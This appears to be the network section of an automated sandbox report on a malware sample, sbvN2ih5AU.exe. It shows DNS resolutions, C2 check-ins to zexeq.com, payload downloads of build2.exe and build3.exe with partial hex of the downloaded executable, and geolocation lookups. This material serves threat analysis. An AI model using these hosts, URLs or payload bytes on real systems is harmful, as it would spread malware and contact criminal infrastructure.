Jan 10, 2024 15:49:01.645926952 CET	1.1.1.1	192.168.2.4	0x5f15	No error (0)	zexeq.com	175.119.10.231	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:01.645926952 CET	1.1.1.1	192.168.2.4	0x5f15	No error (0)	zexeq.com	210.182.29.70	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:01.645926952 CET	1.1.1.1	192.168.2.4	0x5f15	No error (0)	zexeq.com	95.158.162.200	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:01.645926952 CET	1.1.1.1	192.168.2.4	0x5f15	No error (0)	zexeq.com	211.181.24.133	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098612070 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	190.12.87.61	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098612070 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	58.151.148.90	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098612070 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	211.171.233.126	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098612070 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	190.195.60.241	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098612070 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	123.140.161.243	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098612070 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	14.33.209.147	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098612070 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	211.171.233.129	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098612070 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	91.104.83.7	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098612070 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	2.180.10.7	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098612070 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	195.158.3.162	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098655939 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	190.12.87.61	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098655939 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	58.151.148.90	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098655939 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	211.171.233.126	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098655939 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	190.195.60.241	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098655939 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	123.140.161.243	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098655939 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	14.33.209.147	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098655939 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	211.171.233.129	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098655939 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	91.104.83.7	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098655939 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	2.180.10.7	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098655939 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	195.158.3.162	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098776102 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	190.12.87.61	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098776102 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	58.151.148.90	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098776102 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	211.171.233.126	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098776102 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	190.195.60.241	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098776102 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	123.140.161.243	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098776102 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	14.33.209.147	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098776102 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	211.171.233.129	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098776102 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	91.104.83.7	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098776102 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	2.180.10.7	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.098776102 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	195.158.3.162	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.131242037 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	190.12.87.61	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.131242037 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	58.151.148.90	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.131242037 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	2.180.10.7	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.131242037 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	190.195.60.241	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.131242037 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	123.140.161.243	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.131242037 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	195.158.3.162	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.131242037 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	211.171.233.129	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.131242037 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	91.104.83.7	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.131242037 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	211.171.233.126	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.131242037 CET	1.1.1.1	192.168.2.4	0xb23	No error (0)	brusuax.com	14.33.209.147	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:11.293195963 CET	1.1.1.1	192.168.2.4	0x194a	No error (0)	t.me	149.154.167.99	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

t.me

zexeq.com

brusuax.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	175.120.254.9	80	7472	C:\Users\user\Desktop\sbvN2ih5AU.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2024 15:49:01.931242943 CET	137	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	175.120.254.9	80	7532	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2024 15:49:01.933782101 CET	126	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	190.12.87.61	80	7472	C:\Users\user\Desktop\sbvN2ih5AU.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2024 15:49:05.292715073 CET	91	OUT	GET /dl/build2.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: brusuax.com
Jan 10, 2024 15:49:09.182790041 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 10 Jan 2024 14:49:05 GMT Content-Type: application/octet-stream Content-Length: 367104 Last-Modified: Wed, 10 Jan 2024 12:50:02 GMT Connection: close ETag: "659e927a-59a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 60 e6 e8 d7 24 87 86 84 24 87 86 84 24 87 86 84 3a d5 13 84 35 87 86 84 3a d5 05 84 76 87 86 84 3a d5 02 84 00 87 86 84 03 41 fd 84 27 87 86 84 24 87 87 84 78 87 86 84 3a d5 0c 84 25 87 86 84 3a d5 12 84 25 87 86 84 3a d5 17 84 25 87 86 84 52 69 63 68 24 87 86 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 02 ae 12 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 0e 04 00 00 b4 01 00 00 00 00 00 94 22 00 00 00 10 00 00 00 20 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 05 00 00 04 00 00 57 7d 06 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 55 04 00 28 00 00 00 00 10 05 00 ca c1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 48 04 00 18 00 00 00 58 48 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 20 04 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 79 0d 04 00 00 10 00 00 00 0e 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c0 3d 00 00 00 20 04 00 00 3e 00 00 00 12 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 7c 97 00 00 00 60 04 00 00 86 00 00 00 50 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 a1 01 00 00 00 00 05 00 00 02 00 00 00 d6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 ca c1 00 00 00 10 05 00 00 c2 00 00 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$`$$$:5:v:A'$x:%:%:%Rich$PELd" @W}\U(HXH@ t.texty `.rdata= >@@.data\|`P@.tls@.rsrc@@
Jan 10, 2024 15:49:09.182862043 CET	1286	IN	Data Raw: 56 8d 44 24 08 50 8b f1 e8 b8 0a 00 00 c7 06 b4 21 44 00 8b c6 5e c2 04 00 c7 01 b4 21 44 00 e9 c9 0b 00 00 56 8b f1 c7 06 b4 21 44 00 e8 bb 0b 00 00 f6 44 24 08 01 74 07 56 e8 84 0e 00 00 59 8b c6 5e c2 04 00 8b 44 24 08 8a 00 8b 4c 24 04 88 01 Data Ascii: VD$P!D^!DV!DD$tVY^D$L$D$P@u+UuuuuVE]Uuuuu[E]j'DueuN!DVjjN!D^y
Jan 10, 2024 15:49:09.386729956 CET	1286	IN	Data Raw: c3 ff 74 24 04 e8 6e 02 00 00 59 c2 04 00 6a 44 b8 ce 1c 44 00 e8 5c 12 00 00 68 40 48 44 00 8d 4d d8 e8 6d fc ff ff 83 65 fc 00 8d 45 d8 50 8d 4d b0 e8 62 fb ff ff 68 30 54 44 00 8d 45 b0 50 c7 45 b0 d8 21 44 00 e8 d9 0d 00 00 cc 6a 04 e8 e8 0a Data Ascii: t$nYjDD\h@HDMmeEPMbh0TDEPE!DjYt03t$MYjYVt$!D^jXjD}uvu%3j[OMmU;sjX+;w4eFjPYY
Jan 10, 2024 15:49:09.386795998 CET	1286	IN	Data Raw: 89 30 57 57 57 57 57 e8 53 14 00 00 83 c4 14 8b c6 eb 29 39 7d 10 74 e0 39 45 0c 73 0e e8 c0 14 00 00 6a 22 59 89 08 8b f1 eb d7 50 ff 75 10 ff 75 08 e8 4d 0f 00 00 83 c4 0c 33 c0 5f 5e 5d c3 8b ff 55 8b ec 8b 45 08 56 33 f6 3b c6 75 1c e8 8e 14 Data Ascii: 0WWWWWS)9}t9Esj"YPuuM3_^]UEV3;uVVVVV3@^]UEV3;uZVVVVV3@ ^]``0"DUS]VW0"Dt&PFVYYGt3VP
Jan 10, 2024 15:49:09.390212059 CET	1286	IN	Data Raw: 08 e8 38 23 00 00 83 c4 0c eb c1 ff 75 0c 57 ff 75 08 e8 a7 22 00 00 83 c4 0c 39 7d 10 74 b6 39 75 0c 73 0e e8 b3 0f 00 00 6a 22 59 89 08 8b f1 eb ad 6a 16 58 5f 5e 5d c3 8b ff 55 8b ec ff 75 08 51 e8 80 26 00 00 59 59 5d c2 04 00 8b ff 51 c7 01 Data Ascii: 8#uWu"9}t9usj"YjX_^]UuQ&YY]Qt"Da'YUVEtV;Y^]UuQ'YY]Q"'YUEQP)YY@]UEQP(YY]UEQP(Y
Jan 10, 2024 15:49:09.390300989 CET	1286	IN	Data Raw: fc ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 92 42 00 00 83 c4 20 89 45 f8 5f 5e 5b 8b 45 f8 8b e5 5d c3 8b ff 55 8b ec 8b 45 08 ff 70 1c ff 70 28 6a 00 ff 70 18 e8 61 32 00 00 83 c4 10 5d c2 04 00 8b ff 55 8b ec 56 fc 8b 75 0c 8b 4e 08 33 ce e8 73 Data Ascii: uuuuB E_^[E]UEpp(jpa2]UVuN3sjVvvjuvu6B ^]U8S}#u7%@M3@eEc%@`DM3EEEEEEEE EeeeemdEEdE
Jan 10, 2024 15:49:09.578254938 CET	1286	IN	Data Raw: 04 00 c0 c7 05 24 e6 44 00 01 00 00 00 a1 d0 60 44 00 89 85 d8 fc ff ff a1 d4 60 44 00 89 85 dc fc ff ff ff 15 8c 20 44 00 a3 70 e6 44 00 6a 01 e8 39 3f 00 00 59 6a 00 ff 15 88 20 44 00 68 a0 22 44 00 ff 15 84 20 44 00 83 3d 70 e6 44 00 00 75 08 Data Ascii: $D`D`D DpDj9?Yj Dh"D D=pDuj?Yh DP\| DUWVuM};v;r=@DtWV;^_u^_]D?ur$+@r$@$+
Jan 10, 2024 15:49:09.578290939 CET	1286	IN	Data Raw: 5b e8 b6 eb ff ff c9 c3 8b ff 55 8b ec 56 ff 35 44 e9 44 00 e8 d6 05 00 00 ff 75 08 8b f0 e8 51 05 00 00 59 59 a3 44 e9 44 00 8b c6 5e 5d c3 ff 35 44 e9 44 00 e8 b5 05 00 00 59 c3 8b ff 55 8b ec 5d e9 99 fe ff ff 8b ff 55 8b ec ff 35 44 e9 44 00 Data Ascii: [UV5DDuQYYDD^]5DDYU]U5DDYt]j:Y]s3PPPPPU]UE3;`DtA-rHwjX]`D]DjY;#]0uHbDuLbDU
Jan 10, 2024 15:49:09.578386068 CET	1286	IN	Data Raw: 39 3d 24 f0 44 00 74 33 56 e8 8b 16 00 00 59 85 c0 0f 85 72 ff ff ff 8b 45 10 3b c7 0f 84 50 ff ff ff c7 00 0c 00 00 00 e9 45 ff ff ff 33 ff 8b 75 0c 6a 04 e8 fc 37 00 00 59 c3 3b df 75 0d 8b 45 10 3b c7 74 06 c7 00 0c 00 00 00 8b c3 e8 74 0c 00 Data Ascii: 9=$Dt3VYrE;PE3uj7Y;uE;ttUu Du]e]UV5TbD5 Dt!PbDtP5TbDt'"DV DuVYth"DP4 DtuEE^]jYUV5Tb
Jan 10, 2024 15:49:09.578509092 CET	1286	IN	Data Raw: fb ff ff 59 ff d0 ff 75 08 e8 78 fe ff ff a1 54 62 44 00 83 f8 ff 74 09 6a 00 50 ff 15 98 20 44 00 5d c3 ff 25 a8 20 44 00 ff 25 b0 20 44 00 8b ff 56 57 be b8 22 44 00 56 ff 15 14 20 44 00 85 c0 75 07 56 e8 82 03 00 00 59 8b f8 85 ff 0f 84 5e 01 Data Ascii: YuxTbDtjP D]% D% DVW"DV DuVY^54 Dh#DWh"DWHDh"DWLDh"DWPD=HD5 DTDt=LDt=PDtu$ DLD DHD4@5PDTD DTbD5LDP
Jan 10, 2024 15:49:09.583065987 CET	1286	IN	Data Raw: b4 f1 ff ff 56 56 56 56 56 c7 00 16 00 00 00 e8 21 f1 ff ff 83 c4 14 6a 16 58 eb 0d a1 7c e9 44 00 3b c6 74 da 89 01 33 c0 5e 5d c3 8b ff 55 8b ec 83 3d 70 f7 44 00 00 74 19 68 70 f7 44 00 e8 d6 5c 00 00 59 85 c0 74 0a ff 75 08 ff 15 70 f7 44 00 Data Ascii: VVVVV!jX\|D;t3^]U=pDthpD\YtupDY\h!Dh\|!D)YYuBhQT@t!D$x!D=tDYthtD~\YtjjjtD3]jhNDjW.Ye3C9DDED}5h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	175.120.254.9	80	7532	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2024 15:49:07.513555050 CET	126	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49736	175.120.254.9	80	7472	C:\Users\user\Desktop\sbvN2ih5AU.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2024 15:49:07.564172029 CET	137	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49737	175.120.254.9	80	7472	C:\Users\user\Desktop\sbvN2ih5AU.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2024 15:49:11.206932068 CET	94	OUT	GET /files/1/build3.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49739	175.120.254.9	80	7472	C:\Users\user\Desktop\sbvN2ih5AU.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2024 15:49:13.908068895 CET	137	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49741	175.120.254.9	80	7532	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2024 15:49:14.423155069 CET	126	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49754	175.120.254.9	80	7472	C:\Users\user\Desktop\sbvN2ih5AU.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2024 15:49:19.597064018 CET	137	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49755	175.120.254.9	80	7532	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2024 15:49:20.115894079 CET	126	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49729	104.21.65.24	443	7356	C:\Users\user\Desktop\sbvN2ih5AU.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 14:48:58 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-01-10 14:48:58 UTC	885	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 14:48:58 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OmkpgEQsGTdfrJMPQVP2ZeMlLiRLCogHckIswe8HxwF8OND2%2FcdBONgTVJnBJ7wFNLqiEATqkUNKOdjFRI204l9ea0aMMSDaw8aVETHVQnOOVlQllOcP9ogLrUXr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8435b953fa4b3b3b-IAD alt-svc: h3=":443"; ma=86400
2024-01-10 14:48:58 UTC	433	IN	Data Raw: 31 61 61 0d 0a 7b 22 69 70 22 3a 22 31 30 32 2e 31 36 35 2e 34 38 2e 34 32 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 44 69 73 74 72 69 63 74 20 6f 66 20 63 6f 6c 75 6d 62 69 61 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 32 5c 75 30 34 33 30 5c 75 30 34 34 38 5c 75 30 34 33 38 5c 75 30 34 33 64 5c 75 30 34 33 33 5c 75 30 34 34 32 5c 75 30 34 33 65 5c 75 30 34 33 64 22 2c Data Ascii: 1aa{"ip":"102.165.48.42","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"District of columbia","region_rus":"\u0412\u0430\u0448\u0438\u043d\u0433\u0442\u043e\u043d",
2024-01-10 14:48:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49730	104.21.65.24	443	7472	C:\Users\user\Desktop\sbvN2ih5AU.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 14:49:00 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-01-10 14:49:00 UTC	889	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 14:49:00 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FsQvn2q952%2BJi5CaOMcdrTDCs07B1ayTXocAoY2q0HPP%2BJFgcuuN26ZEp7OCRfaQVPtI3R8fjU9vf%2BW3WcSXzTuq93OR0DdVbOHToSLq16DIgpLqHay2EUQomqkN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8435b9620add0654-IAD alt-svc: h3=":443"; ma=86400
2024-01-10 14:49:00 UTC	433	IN	Data Raw: 31 61 61 0d 0a 7b 22 69 70 22 3a 22 31 30 32 2e 31 36 35 2e 34 38 2e 34 32 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 44 69 73 74 72 69 63 74 20 6f 66 20 63 6f 6c 75 6d 62 69 61 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 32 5c 75 30 34 33 30 5c 75 30 34 34 38 5c 75 30 34 33 38 5c 75 30 34 33 64 5c 75 30 34 33 33 5c 75 30 34 34 32 5c 75 30 34 33 65 5c 75 30 34 33 64 22 2c Data Ascii: 1aa{"ip":"102.165.48.42","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"District of columbia","region_rus":"\u0412\u0430\u0448\u0438\u043d\u0433\u0442\u043e\u043d",
2024-01-10 14:49:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49731	104.21.65.24	443	7532	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 14:49:01 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
